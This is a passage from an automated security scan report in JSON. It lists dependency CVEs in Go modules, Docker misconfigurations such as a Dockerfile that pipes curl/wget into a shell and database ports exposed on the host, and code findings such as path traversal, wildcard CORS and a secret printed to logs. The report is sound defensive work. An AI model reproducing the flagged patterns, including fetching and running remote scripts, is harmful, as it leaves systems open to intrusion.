"6619eae742afe9811d2c58cf98521e0e5887009b7b0d77bbcd350f067171d39c", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-47912", "CVE-2025-47912"], "package": "stdlib", "rule_id": "GO-2025-4010", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-47912|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4009", "level": "error", "message": {"text": "stdlib: GO-2025-4009"}, "properties": {"repobilityId": 113525, "scanner": "osv-scanner", "fingerprint": "c7131dfb85dbd427f287b5ecd77ebff08e7cabd52a24f6caa30257a0a22364d6", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61723", "CVE-2025-61723"], "package": "stdlib", "rule_id": "GO-2025-4009", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61723|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4008", "level": "error", "message": {"text": "stdlib: GO-2025-4008"}, "properties": {"repobilityId": 113524, "scanner": "osv-scanner", "fingerprint": "9bb81c1794b76053af760b2b859c96f1db217da1c31e0ebea41bb484cd5fa47e", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-58189", "CVE-2025-58189"], "package": "stdlib", "rule_id": "GO-2025-4008", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-58189|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4007", "level": "error", "message": {"text": "stdlib: GO-2025-4007"}, "properties": {"repobilityId": 113523, "scanner": "osv-scanner", "fingerprint": "6fbd9e9d19224c8aa99ec9f874889b008ed7580c9b5e277450916050f07dc7c7", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-58187", "CVE-2025-58187"], "package": "stdlib", "rule_id": "GO-2025-4007", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-58187|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4006", "level": "error", "message": {"text": "stdlib: GO-2025-4006"}, "properties": {"repobilityId": 113522, "scanner": "osv-scanner", "fingerprint": "a2c54d7b47764090eb05f87beb521bde5a52154fe53a43225348488ed5e28e3d", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61725", "CVE-2025-61725"], "package": "stdlib", "rule_id": "GO-2025-4006", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61725|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-3955", "level": "error", "message": {"text": "stdlib: GO-2025-3955"}, "properties": {"repobilityId": 113521, "scanner": "osv-scanner", "fingerprint": "000baa9dc3c7dd1ac583d01ba2909fcadcba119da85bda8e07721dd158d665a1", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2025-47910", "CVE-2025-47910"], "package": "stdlib", "rule_id": "GO-2025-3955", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-47910|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5024", "level": "error", "message": {"text": "golang.org/x/sys: GO-2026-5024"}, "properties": {"repobilityId": 113520, "scanner": "osv-scanner", "fingerprint": "79f10c25369703a3754463aae8a0158f89425541907e3182ad0da8006916ee19", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-39824"], "package": "golang.org/x/sys", "rule_id": "GO-2026-5024", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/sys|CVE-2026-39824|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5030", "level": "error", "message": {"text": "golang.org/x/net: GO-2026-5030"}, "properties": {"repobilityId": 113519, "scanner": "osv-scanner", "fingerprint": "f56f13f5fd0d02e616781fb4e263264064c55d496b56f34e2e697db0a1750dd6", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-27136"], "package": "golang.org/x/net", "rule_id": "GO-2026-5030", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/net|CVE-2026-27136|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5029", "level": "error", "message": {"text": "golang.org/x/net: GO-2026-5029"}, "properties": {"repobilityId": 113518, "scanner": "osv-scanner", "fingerprint": "346c97831be09b89603f8819967a1caf39f8f572a2d5dc5925a9ae0a6b98856e", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-25681"], "package": "golang.org/x/net", "rule_id": "GO-2026-5029", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/net|CVE-2026-25681|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5028", "level": "error", "message": {"text": "golang.org/x/net: GO-2026-5028"}, "properties": {"repobilityId": 113517, "scanner": "osv-scanner", "fingerprint": "796445bee725d6616761216b224cb420e85017321d01a56e43bf03efe210c5f5", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-25680"], "package": "golang.org/x/net", "rule_id": "GO-2026-5028", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/net|CVE-2026-25680|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5027", "level": "error", "message": {"text": "golang.org/x/net: GO-2026-5027"}, "properties": {"repobilityId": 113516, "scanner": "osv-scanner", "fingerprint": "acf4f4ae909e3489f7be9bc36808d846c836956d4a36bc26ba43890f213b1436", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-42502"], "package": "golang.org/x/net", "rule_id": "GO-2026-5027", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/net|CVE-2026-42502|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5026", "level": "error", "message": {"text": "golang.org/x/net: GO-2026-5026"}, "properties": {"repobilityId": 113515, "scanner": "osv-scanner", "fingerprint": "2a9be343e7c5c43785f4d36c5506f23f8b055fb0d461a84395ad634441be541a", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-39821"], "package": "golang.org/x/net", "rule_id": "GO-2026-5026", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/net|CVE-2026-39821|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5025", "level": "error", "message": {"text": "golang.org/x/net: GO-2026-5025"}, "properties": {"repobilityId": 113514, "scanner": "osv-scanner", "fingerprint": "be62fe7df92442560f1a21cceb16f1ca23f3e9cbe2e00b9699b8ae286a0012ce", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-42506"], "package": "golang.org/x/net", "rule_id": "GO-2026-5025", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/net|CVE-2026-42506|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4918", "level": "error", "message": {"text": "golang.org/x/net: GO-2026-4918"}, "properties": {"repobilityId": 113513, "scanner": "osv-scanner", "fingerprint": "d07e75663319e62f27408375428863546ab8185771ef2447feb53879555f4916", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["BIT-golang-2026-33814", "CVE-2026-33814"], "package": "golang.org/x/net", "rule_id": "GO-2026-4918", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/net|CVE-2026-33814|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5033", "level": "error", "message": {"text": "golang.org/x/crypto: GO-2026-5033"}, "properties": {"repobilityId": 113512, "scanner": "osv-scanner", "fingerprint": "ad1d47a6aef958448f22a42c2d60392dc7008e25932b619f84e66221eb131e95", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-46598"], "package": "golang.org/x/crypto", "rule_id": "GO-2026-5033", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/crypto|CVE-2026-46598|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5023", "level": "error", "message": {"text": "golang.org/x/crypto: GO-2026-5023"}, "properties": {"repobilityId": 113511, "scanner": "osv-scanner", "fingerprint": "2d612844c17f0f3569717978b60331059540fefc1c2346e38678f12228b2ebdb", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-46595"], "package": "golang.org/x/crypto", "rule_id": "GO-2026-5023", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/crypto|CVE-2026-46595|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5021", "level": "error", "message": {"text": "golang.org/x/crypto: GO-2026-5021"}, "properties": {"repobilityId": 113510, "scanner": "osv-scanner", "fingerprint": "9cfea8adee448a2428e663f481c352e77e2cd449655562d5b118efedfb7da4f8", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-42508"], "package": "golang.org/x/crypto", "rule_id": "GO-2026-5021", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/crypto|CVE-2026-42508|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5020", "level": "error", "message": {"text": "golang.org/x/crypto: GO-2026-5020"}, "properties": {"repobilityId": 113509, "scanner": "osv-scanner", "fingerprint": "93b646b3920c3a2193a1efdebfdfa5196ce3475c1dc5bae6355a6e1f9cbf460a", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-39834"], "package": "golang.org/x/crypto", "rule_id": "GO-2026-5020", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/crypto|CVE-2026-39834|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5019", "level": "error", "message": {"text": "golang.org/x/crypto: GO-2026-5019"}, "properties": {"repobilityId": 113508, "scanner": "osv-scanner", "fingerprint": "345537a037a5b3177ae140a9e9c405ec64da8434ead8931918ec7573a6ce20b3", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-39831"], "package": "golang.org/x/crypto", "rule_id": "GO-2026-5019", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/crypto|CVE-2026-39831|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5018", "level": "error", "message": {"text": "golang.org/x/crypto: GO-2026-5018"}, "properties": {"repobilityId": 113507, "scanner": "osv-scanner", "fingerprint": "949f77a9611832376c508d55bf01659a712274ac105d24e504e15dd5e1dbf16f", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-39829"], "package": "golang.org/x/crypto", "rule_id": "GO-2026-5018", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/crypto|CVE-2026-39829|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5017", "level": "error", "message": {"text": "golang.org/x/crypto: GO-2026-5017"}, "properties": {"repobilityId": 113506, "scanner": "osv-scanner", "fingerprint": "2930f2404722144c851cb9051c8ebf92002718de31c8d9fd7a648ca0f2ef6ada", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-39830"], "package": "golang.org/x/crypto", "rule_id": "GO-2026-5017", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/crypto|CVE-2026-39830|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5016", "level": "error", "message": {"text": "golang.org/x/crypto: GO-2026-5016"}, "properties": {"repobilityId": 113505, "scanner": "osv-scanner", "fingerprint": "ac67bbb6c13f69fe38c8bbe16cf8fe7e2ed0ab66e0c5b15dba53f20834fe3d86", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-39827"], "package": "golang.org/x/crypto", "rule_id": "GO-2026-5016", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/crypto|CVE-2026-39827|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5015", "level": "error", "message": {"text": "golang.org/x/crypto: GO-2026-5015"}, "properties": {"repobilityId": 113504, "scanner": "osv-scanner", "fingerprint": "2e502398ad2ca483c07bc43556f4c4eb205c7761c2c9cd89d2d1aee4f087438f", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-39835"], "package": "golang.org/x/crypto", "rule_id": "GO-2026-5015", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/crypto|CVE-2026-39835|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5014", "level": "error", "message": {"text": "golang.org/x/crypto: GO-2026-5014"}, "properties": {"repobilityId": 113503, "scanner": "osv-scanner", "fingerprint": "8daae6fef532b43e67fa01a55acbd01bab03899e2f5d4ad247bee8e8442024dd", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-39828"], "package": "golang.org/x/crypto", "rule_id": "GO-2026-5014", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/crypto|CVE-2026-39828|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5013", "level": "error", "message": {"text": "golang.org/x/crypto: GO-2026-5013"}, "properties": {"repobilityId": 113502, "scanner": "osv-scanner", "fingerprint": "ccaa102abe73278dc6503207bd926859d7ba8955ec415d747a72b6b58b6a3dc3", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-46597"], "package": "golang.org/x/crypto", "rule_id": "GO-2026-5013", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/crypto|CVE-2026-46597|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5006", "level": "error", "message": {"text": "golang.org/x/crypto: GO-2026-5006"}, "properties": {"repobilityId": 113501, "scanner": "osv-scanner", "fingerprint": "8b88451b530e190692c439835073029a47d5722b48b6a00ddb5e3369824775a2", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-39832"], "package": "golang.org/x/crypto", "rule_id": "GO-2026-5006", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/crypto|CVE-2026-39832|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5005", "level": "error", "message": {"text": "golang.org/x/crypto: GO-2026-5005"}, "properties": {"repobilityId": 113500, "scanner": "osv-scanner", "fingerprint": "ae98cdae0aac80f7b5a30a91f9180936ed79f348030d056d429d20e8b082f033", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "", "aliases": ["CVE-2026-39833"], "package": "golang.org/x/crypto", "rule_id": "GO-2026-5005", "scanner": "osv-scanner", "correlation_key": "vuln|golang.org/x/crypto|CVE-2026-39833|go.mod"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "DKC013", "level": "error", "message": {"text": "Database service has no persistent data volume"}, "properties": {"repobilityId": 113411, "scanner": "repobility-docker", "fingerprint": "ec6e4e39c373fbf7eb575c1bea89c787bf9e721c8522440b14db1f293b46c4a3", "category": "docker", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Database-like service does not mount a known data directory.", "evidence": {"rule_id": "DKC013", "scanner": "repobility-docker", "service": "mysql", "references": ["https://docs.docker.com/engine/storage/volumes/"], "correlation_key": "fp|ec6e4e39c373fbf7eb575c1bea89c787bf9e721c8522440b14db1f293b46c4a3", "expected_targets": ["/var/lib/mysql"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/sql/testdata/docker-compose.yml"}, "region": {"startLine": 15}}}]}, {"ruleId": "DKC011", "level": "error", "message": {"text": "Database service publishes a host port"}, "properties": {"repobilityId": 113410, "scanner": "repobility-docker", "fingerprint": "43adee3d643ff6cbcdd032c49d722c77648d485dd2823b1e4b258c9fa104df28", "category": "docker", "severity": "high", "confidence": 0.84, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "Database-like image publishes host ports without a loopback-only bind.", "evidence": {"ports": [{"raw": "13306:3306", "target": "3306", "host_ip": "", "published": "13306"}], "rule_id": "DKC011", "scanner": "repobility-docker", "service": "mysql", "references": ["https://docs.docker.com/compose/how-tos/environment-variables/best-practices/", "https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html"], "exposure_scope": "public", "correlation_key": "fp|43adee3d643ff6cbcdd032c49d722c77648d485dd2823b1e4b258c9fa104df28"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/sql/testdata/docker-compose.yml"}, "region": {"startLine": 15}}}]}, {"ruleId": "DKC013", "level": "error", "message": {"text": "Database service has no persistent data volume"}, "properties": {"repobilityId": 113408, "scanner": "repobility-docker", "fingerprint": "0a9ff32e524302a8a5a6ebf6c070c59c2a8c05f94e003aec748e3b93bf1ae46b", "category": "docker", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Database-like service does not mount a known data directory.", "evidence": {"rule_id": "DKC013", "scanner": "repobility-docker", "service": "postgres", "references": ["https://docs.docker.com/engine/storage/volumes/"], "correlation_key": "fp|0a9ff32e524302a8a5a6ebf6c070c59c2a8c05f94e003aec748e3b93bf1ae46b", "expected_targets": ["/var/lib/postgresql/data"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/sql/testdata/docker-compose.yml"}, "region": {"startLine": 1}}}]}, {"ruleId": "DKC011", "level": "error", "message": {"text": "Database service publishes a host port"}, "properties": {"repobilityId": 113407, "scanner": "repobility-docker", "fingerprint": "30e70557ef797f3c055fa107c761239e62fa233d83c7158cd496d9c68a66ce01", "category": "docker", "severity": "high", "confidence": 0.84, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "Database-like image publishes host ports without a loopback-only bind.", "evidence": {"ports": [{"raw": "15432:5432", "target": "5432", "host_ip": "", "published": "15432"}], "rule_id": "DKC011", "scanner": "repobility-docker", "service": "postgres", "references": ["https://docs.docker.com/compose/how-tos/environment-variables/best-practices/", "https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html"], "exposure_scope": "public", "correlation_key": "fp|30e70557ef797f3c055fa107c761239e62fa233d83c7158cd496d9c68a66ce01"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/sql/testdata/docker-compose.yml"}, "region": {"startLine": 1}}}]}, {"ruleId": "DKC011", "level": "error", "message": {"text": "Database service publishes a host port"}, "properties": {"repobilityId": 113404, "scanner": "repobility-docker", "fingerprint": "60d27c41f027961c716b946ca9fbb3d9b72e22352d7bd1e95f38c3273a306895", "category": "docker", "severity": "high", "confidence": 0.84, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "Database-like image publishes host ports without a loopback-only bind.", "evidence": {"ports": [{"raw": "5432:5432", "target": "5432", "host_ip": "", "published": "5432"}], "rule_id": "DKC011", "scanner": "repobility-docker", "service": "postgres", "references": ["https://docs.docker.com/compose/how-tos/environment-variables/best-practices/", "https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html"], "exposure_scope": "public", "correlation_key": "fp|60d27c41f027961c716b946ca9fbb3d9b72e22352d7bd1e95f38c3273a306895"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "deploy/docker-compose.yml"}, "region": {"startLine": 3}}}]}, {"ruleId": "DKR014", "level": "error", "message": {"text": "Dockerfile copies the entire context without .dockerignore"}, "properties": {"repobilityId": 113402, "scanner": "repobility-docker", "fingerprint": "fc686846cc66cdb3e283cc220fa4b48e8ceb4a287164f7935a1dd7f6a1d4438e", "category": "docker", "severity": "high", "confidence": 0.92, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Broad context copy and missing .dockerignore were found together.", "evidence": {"rule_id": "DKR014", "scanner": "repobility-docker", "references": ["https://docs.docker.com/develop/develop-images/dockerfile_best-practices/"], "correlation_key": "fp|fc686846cc66cdb3e283cc220fa4b48e8ceb4a287164f7935a1dd7f6a1d4438e"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "render/Dockerfile"}, "region": {"startLine": 14}}}]}, {"ruleId": "DKR006", "level": "error", "message": {"text": "Dockerfile pipes a remote script into a shell"}, "properties": {"repobilityId": 113400, "scanner": "repobility-docker", "fingerprint": "29847c427a88827cca60de02fd5b8b610c6c4354835ddfc99d63b694b31d3501", "category": "docker", "severity": "high", "confidence": 0.92, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "RUN instruction contains curl/wget piped into a shell.", "evidence": {"rule_id": "DKR006", "scanner": "repobility-docker", "references": ["https://docs.docker.com/develop/develop-images/dockerfile_best-practices/", "https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html"], "correlation_key": "fp|29847c427a88827cca60de02fd5b8b610c6c4354835ddfc99d63b694b31d3501"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "e2e/install/Dockerfile"}, "region": {"startLine": 39}}}]}, {"ruleId": "DKR014", "level": "error", "message": {"text": "Dockerfile copies the entire context without .dockerignore"}, "properties": {"repobilityId": 113399, "scanner": "repobility-docker", "fingerprint": "d336e307552a2a2d86fb1efda0e9d535bf3da9c827041319423cd02382020515", "category": "docker", "severity": "high", "confidence": 0.92, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Broad context copy and missing .dockerignore were found together.", "evidence": {"rule_id": "DKR014", "scanner": "repobility-docker", "references": ["https://docs.docker.com/develop/develop-images/dockerfile_best-practices/"], "correlation_key": "fp|d336e307552a2a2d86fb1efda0e9d535bf3da9c827041319423cd02382020515"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "e2e/install/Dockerfile"}, "region": {"startLine": 23}}}]}, {"ruleId": "DKR014", "level": "error", "message": {"text": "Dockerfile copies the entire context without .dockerignore"}, "properties": {"repobilityId": 113396, "scanner": "repobility-docker", "fingerprint": "c874d1c890266da30509bf10e02ed68e49b61c3aad4575368fc4c63fae125b91", "category": "docker", "severity": "high", "confidence": 0.92, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Broad context copy and missing .dockerignore were found together.", "evidence": {"rule_id": "DKR014", "scanner": "repobility-docker", "references": ["https://docs.docker.com/develop/develop-images/dockerfile_best-practices/"], "correlation_key": "fp|c874d1c890266da30509bf10e02ed68e49b61c3aad4575368fc4c63fae125b91"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "deploy/Dockerfile"}, "region": {"startLine": 14}}}]}, {"ruleId": "MINED006", "level": "error", "message": {"text": "[MINED006] Overcatch Baseexception: except BaseException: ... \u2014 prevents Ctrl+C and SystemExit from working."}, "properties": {"repobilityId": 113379, "scanner": "repobility-threat-engine", "fingerprint": "2c9ff2f8e3dde1d2522e410b79d3b1838f713b112e216364ba2f97a66b61f3e9", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "overcatch-baseexception", "owasp": null, "cwe_ids": ["CWE-705"], "languages": ["python"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.347911+00:00", "triaged_in_corpus": 15, "observations_count": 230624, "ai_coder_pattern_id": 8}, "scanner": "repobility-threat-engine", "correlation_key": "fp|2c9ff2f8e3dde1d2522e410b79d3b1838f713b112e216364ba2f97a66b61f3e9"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 170}}}]}, {"ruleId": "MINED021", "level": "error", "message": {"text": "[MINED021] Path Traversal Os Join: os.path.join(user_dir, filename) where filename can contain \"../\" \u2014 directory escape."}, "properties": {"repobilityId": 113378, "scanner": "repobility-threat-engine", "fingerprint": "ca585eba3813a8512e58a5bb359239c88a7c909b4f6fc8ddcda0c4d284951ef5", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "path-traversal-os-join", "owasp": "A01:2021", "cwe_ids": ["CWE-22"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.347947+00:00", "triaged_in_corpus": 15, "observations_count": 45678, "ai_coder_pattern_id": 31}, "scanner": "repobility-threat-engine", "correlation_key": "fp|ca585eba3813a8512e58a5bb359239c88a7c909b4f6fc8ddcda0c4d284951ef5"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/live-codex-secret-smoke.sh"}, "region": {"startLine": 152}}}]}, {"ruleId": "SEC100", "level": "error", "message": {"text": "[SEC100] CORS permissive Access-Control-Allow-Origin: *: Permissive CORS policy (`*` origin) allows any website to make authenticated cross-origin requests. Especially dangerous when combined with `Access-Control-Allow-Credentials: true`."}, "properties": {"repobilityId": 113375, "scanner": "repobility-threat-engine", "fingerprint": "4789873aad0739ff5d794aa4657be68bb84d7021cdbf93100f944847d5260b9b", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "\"Access-Control-Allow-Origin\", \"*\"", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC100", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|4789873aad0739ff5d794aa4657be68bb84d7021cdbf93100f944847d5260b9b"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/daemon/oauth_listener.go"}, "region": {"startLine": 22}}}]}, {"ruleId": "SEC020", "level": "error", "message": {"text": "[SEC020] Secret Printed to Logs: Debug or diagnostic code appears to print a credential-bearing value. This is a frequent AI-assisted coding failure: the helper exposes the exact value needed for troubleshooting."}, "properties": {"repobilityId": 113365, "scanner": "repobility-threat-engine", "fingerprint": "0899c48dbd830334ab182b7c2e5d248322f96b31114055cedb370d6dafdaa4f9", "category": "credential_exposure", "severity": "high", "confidence": 0.85, "triageState": "open", 